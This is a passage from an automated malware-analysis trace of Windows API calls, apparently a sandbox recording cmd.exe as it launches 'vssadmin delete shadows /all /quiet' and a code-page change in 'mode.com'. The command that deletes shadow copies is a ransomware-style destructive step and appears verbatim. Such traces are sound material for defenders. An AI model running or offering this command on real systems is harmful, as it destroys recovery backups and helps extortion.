[0210.404] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x3a1010 | out: hHeap=0x380000) returned 1 [0210.404] GetProcessHeap () returned 0x380000 [0210.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb0) returned 0x399840 [0210.406] GetProcessHeap () returned 0x380000 [0210.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x22) returned 0x394630 [0210.409] GetProcessHeap () returned 0x380000 [0210.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x48) returned 0x3a0090 [0210.410] GetConsoleOutputCP () returned 0x4e3 [0210.411] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4aa6bfe0 | out: lpCPInfo=0x4aa6bfe0) returned 1 [0210.411] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0210.411] GetConsoleTitleW (in: lpConsoleTitle=0x20f5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0210.412] GetProcessHeap () returned 0x380000 [0210.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x218) returned 0x39aae0 [0210.412] GetProcessHeap () returned 0x380000 [0210.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x5a) returned 0x399a50 [0210.412] GetProcessHeap () returned 0x380000 [0210.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x420) returned 0x39b9a0 [0210.413] SetErrorMode (uMode=0x0) returned 0x0 [0210.413] SetErrorMode (uMode=0x1) returned 0x0 [0210.413] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x39b9b0, lpFilePart=0x20ee40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x20ee40*="system32") returned 0x13 [0210.413] SetErrorMode (uMode=0x0) returned 0x1 [0210.413] GetProcessHeap () returned 0x380000 [0210.413] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x39b9a0, Size=0x4a) returned 0x39b9a0 [0210.413] GetProcessHeap () returned 0x380000 [0210.414] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39b9a0) returned 0x4a [0210.414] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0210.414] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0210.414] GetProcessHeap () returned 0x380000 [0210.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x104) returned 0x395bb0 [0210.414] GetProcessHeap () returned 0x380000 [0210.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1f8) returned 0x39ba00 [0210.415] GetProcessHeap () returned 0x380000 [0210.415] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x39ba00, Size=0x106) returned 0x39ba00 [0210.415] GetProcessHeap () returned 0x380000 [0210.415] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ba00) returned 0x106 [0210.415] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0210.415] GetProcessHeap () returned 0x380000 [0210.416] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xe8) returned 0x399c60 [0210.416] GetProcessHeap () returned 0x380000 [0210.416] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x399c60, Size=0x7e) returned 0x399c60 [0210.416] GetProcessHeap () returned 0x380000 [0210.416] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x399c60) returned 0x7e [0210.416] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.417] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x20ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ebb0) returned 0x395cc0 [0210.417] FindClose (in: hFindFile=0x395cc0 | out: hFindFile=0x395cc0) returned 1 [0210.418] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x20ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ebb0) returned 0xffffffffffffffff [0210.418] GetLastError () returned 0x2 [0210.418] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x20ebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ebb0) returned 0x3a1040 [0210.418] FindClose (in: hFindFile=0x3a1040 | out: hFindFile=0x3a1040) returned 1 [0210.419] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0210.419] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0210.419] GetConsoleTitleW (in: lpConsoleTitle=0x20f100, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0210.419] GetProcessHeap () returned 0x380000 [0210.419] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x21c) returned 0x39bb20 [0210.420] GetConsoleTitleW (in: lpConsoleTitle=0x39bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0210.420] GetProcessHeap () returned 0x380000 [0210.420] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x39bb20, Size=0xa2) returned 0x39bb20 [0210.420] GetProcessHeap () returned 0x380000 [0210.420] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bb20) returned 0xa2 [0210.420] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0210.422] GetProcessHeap () returned 0x380000 [0210.422] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb20 | out: hHeap=0x380000) returned 1 [0210.422] InitializeProcThreadAttributeList (in: lpAttributeList=0x20eeb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20ee78 | out: lpAttributeList=0x20eeb8, lpSize=0x20ee78) returned 1 [0210.423] UpdateProcThreadAttribute (in: lpAttributeList=0x20eeb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x20ee68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20eeb8, lpPreviousValue=0x0) returned 1 [0210.423] GetStartupInfoW (in: lpStartupInfo=0x20efd0 | out: lpStartupInfo=0x20efd0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0210.423] GetProcessHeap () returned 0x380000 [0210.423] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x394660 [0210.423] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0210.423] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0210.423] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0210.424] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0210.424] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0210.424] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0210.424] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0210.424] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0210.424] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0210.425] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0210.425] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0210.425] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0210.425] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0210.425] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0210.425] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0210.425] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0210.426] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0210.426] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0210.426] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0210.426] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.427] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.427] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.427] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.427] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.427] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.427] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.427] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.428] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0210.428] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0210.428] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0210.428] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0210.428] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0210.429] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0210.430] GetProcessHeap () returned 0x380000 [0210.430] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x394660 | out: hHeap=0x380000) returned 1 [0210.430] GetProcessHeap () returned 0x380000 [0210.430] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x12) returned 0x399ac0 [0210.430] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x20eef0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20eea0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x20eea0*(hProcess=0x50, hThread=0x54, dwProcessId=0x6c0, dwThreadId=0x6c4)) returned 1 [0210.474] CloseHandle (hObject=0x54) returned 1 [0210.474] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0210.474] GetProcessHeap () returned 0x380000 [0210.474] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39f4e0 | out: hHeap=0x380000) returned 1 [0210.474] GetEnvironmentStringsW () returned 0x3989c0* [0210.474] GetProcessHeap () returned 0x380000 [0210.474] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb22) returned 0x39e9b0 [0210.474] FreeEnvironmentStringsW (penv=0x3989c0) returned 1 [0210.474] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x20e7a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x20e7a8, ReturnLength=0x0) returned 0x0 [0210.475] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x20e7e0, nSize=0x380, lpNumberOfBytesRead=0x20e7a0 | out: lpBuffer=0x20e7e0*, lpNumberOfBytesRead=0x20e7a0*=0x380) returned 1 [0210.475] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0227.561] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x20ede8 | out: lpExitCode=0x20ede8*=0x2) returned 1 [0227.562] CloseHandle (hObject=0x50) returned 1 [0227.562] _vsnwprintf (in: _Buffer=0x20f058, _BufferCount=0x13, _Format="%08X", _ArgList=0x20edf8 | out: _Buffer="00000002") returned 8 [0227.562] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0227.563] GetProcessHeap () returned 0x380000 [0227.563] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39e9b0 | out: hHeap=0x380000) returned 1 [0227.563] GetEnvironmentStringsW () returned 0x3989c0* [0227.563] GetProcessHeap () returned 0x380000 [0227.563] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb22) returned 0x39e9b0 [0227.564] FreeEnvironmentStringsW (penv=0x3989c0) returned 1 [0227.564] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0227.564] GetProcessHeap () returned 0x380000 [0227.564] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39e9b0 | out: hHeap=0x380000) returned 1 [0227.564] GetEnvironmentStringsW () returned 0x3989c0* [0227.564] GetProcessHeap () returned 0x380000 [0227.564] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb22) returned 0x39e9b0 [0227.564] FreeEnvironmentStringsW (penv=0x3989c0) returned 1 [0227.564] GetProcessHeap () returned 0x380000 [0227.564] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399ac0 | out: hHeap=0x380000) returned 1 [0227.565] DeleteProcThreadAttributeList (in: lpAttributeList=0x20eeb8 | out: lpAttributeList=0x20eeb8) [0227.565] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0227.612] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.612] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0227.613] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.613] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4aa5e194 | out: lpMode=0x4aa5e194) returned 0 [0227.614] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.614] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4aa5e198 | out: lpMode=0x4aa5e198) returned 0 [0227.615] GetConsoleOutputCP () returned 0x4e3 [0227.615] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4aa6bfe0 | out: lpCPInfo=0x4aa6bfe0) returned 1 [0227.615] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0227.616] GetProcessHeap () returned 0x380000 [0227.616] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399c60 | out: hHeap=0x380000) returned 1 [0227.616] GetProcessHeap () returned 0x380000 [0227.616] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ba00 | out: hHeap=0x380000) returned 1 [0227.616] GetProcessHeap () returned 0x380000 [0227.616] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395bb0 | out: hHeap=0x380000) returned 1 [0227.616] GetProcessHeap () returned 0x380000 [0227.616] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39b9a0 | out: hHeap=0x380000) returned 1 [0227.617] GetProcessHeap () returned 0x380000 [0227.617] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399a50 | out: hHeap=0x380000) returned 1 [0227.617] GetProcessHeap () returned 0x380000 [0227.617] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39aae0 | out: hHeap=0x380000) returned 1 [0227.617] GetProcessHeap () returned 0x380000 [0227.617] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x3a0090 | out: hHeap=0x380000) returned 1 [0227.617] GetProcessHeap () returned 0x380000 [0227.617] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x394630 | out: hHeap=0x380000) returned 1 [0227.617] GetProcessHeap () returned 0x380000 [0227.617] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x399840 | out: hHeap=0x380000) returned 1 [0227.618] _vsnwprintf (in: _Buffer=0x4aa76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f318 | out: _Buffer="\r\n") returned 2 [0227.618] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.618] GetFileType (hFile=0xf4) returned 0x3 [0227.618] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.618] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0227.618] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f2e8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f2e8*=0x2, lpOverlapped=0x0) returned 1 [0227.618] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa5f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0227.618] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0227.619] _vsnwprintf (in: _Buffer=0x4aa5eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f328 | out: _Buffer="C:\\Windows\\system32") returned 19 [0227.619] _vsnwprintf (in: _Buffer=0x4aa5eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x20f328 | out: _Buffer=">") returned 1 [0227.619] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.619] GetFileType (hFile=0xf4) returned 0x3 [0227.619] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.619] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0227.619] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x20f318, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f318*=0x14, lpOverlapped=0x0) returned 1 [0227.620] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.620] GetFileType (hFile=0xe8) returned 0x3 [0227.620] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.620] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.620] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0227.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0227.621] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.621] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.621] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0227.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0227.621] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.621] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.622] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0227.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0227.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.622] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0227.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0227.622] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.622] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.622] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0227.623] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0227.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.623] GetFileType (hFile=0xe8) returned 0x3 [0227.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0227.623] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.623] GetFileType (hFile=0xf4) returned 0x3 [0227.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0227.623] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0227.623] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x20f5f8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f5f8*=0x5, lpOverlapped=0x0) returned 1 [0227.624] GetProcessHeap () returned 0x380000 [0227.624] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x4012) returned 0x3a2010 [0227.624] GetProcessHeap () returned 0x380000 [0227.624] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x3a2010 | out: hHeap=0x380000) returned 1 [0227.625] GetProcessHeap () returned 0x380000 [0227.625] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xb0) returned 0x399840 [0227.625] GetProcessHeap () returned 0x380000 [0227.625] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1a) returned 0x394630 [0227.626] GetConsoleOutputCP () returned 0x4e3 [0227.626] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4aa6bfe0 | out: lpCPInfo=0x4aa6bfe0) returned 1 [0227.626] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0227.627] GetConsoleTitleW (in: lpConsoleTitle=0x20f5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0227.627] GetProcessHeap () returned 0x380000 [0227.627] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x14) returned 0x398940 [0227.627] GetProcessHeap () returned 0x380000 [0227.627] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1a) returned 0x394660 [0227.628] GetProcessHeap () returned 0x380000 [0227.628] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x21c) returned 0x39b9a0 [0227.628] GetConsoleTitleW (in: lpConsoleTitle=0x39b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0227.628] GetProcessHeap () returned 0x380000 [0227.628] RtlReAllocateHeap (Heap=0x380000, Flags=0x0, Ptr=0x39b9a0, Size=0x62) returned 0x39b9a0 [0227.628] GetProcessHeap () returned 0x380000 [0227.628] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39b9a0) returned 0x62 [0227.628] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0227.631] GetProcessHeap () returned 0x380000 [0227.631] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39b9a0 | out: hHeap=0x380000) returned 1 [0227.632] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0227.633] exit (_Code=2) Process: id = "8" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x7388a000" os_pid = "0x678" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x5bc" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea7a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0x67c Process: id = "9" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = 